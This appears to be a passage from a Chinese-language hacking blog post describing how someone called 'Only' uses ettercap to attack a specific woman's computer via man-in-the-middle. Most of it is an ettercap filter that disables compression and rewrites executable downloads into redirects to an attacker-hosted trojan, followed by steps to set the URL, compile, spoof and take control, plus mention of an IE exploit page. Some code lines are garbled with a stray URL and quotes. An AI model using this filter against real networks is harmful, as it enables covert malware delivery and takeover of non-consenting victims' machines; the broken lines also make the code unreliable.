Only打開了ettercap準(zhǔn)備進(jìn)行中間人攻擊
首先新建一個規(guī)則
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# replace rmccurdy with
your website
# replace the url with what ever exe you like
if
(ip.proto == TCP && tcp.dst == 80) {
if
(search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding",
"Accept-Rubbish!");
#
note: replacement string is same length as original
string
msg("zapped
Accept-Encoding!\n");
}
}
if (ip.proto == TCP &&
tcp.src =http://www.netofthings.cn/JieJueFangAn/2016-04/= 80) {
replace("keep-alive", "close"
");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP
&& search(DATA.data, ": application") ){
# enable for logging
log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the
first part of the exe example:
# if the EXE started with "this program must
be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data,
"Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301
Moved Permanently
Location:
http://www.xxx.com/exe.exe
");
msg("redirect
success\n");
}
}
然后改掉里面的下載地址
之后編譯下
然后進(jìn)行欺騙
當(dāng)妹紙不管下載什么東西的時候都會替換成我們的木馬進(jìn)行下載她運行后我們就可以獲取權(quán)限了(當(dāng)然木馬首先得是免殺)
類似這樣
所以當(dāng)妹子下載什么的時候運行了我們的程序，就會中招。
同時Only還用了另一種方法來進(jìn)行攻擊(怕妹子不上當(dāng))
因為前面得知妹子用的是XP所以O(shè)nly生成了對IE瀏覽器攻擊的網(wǎng)馬
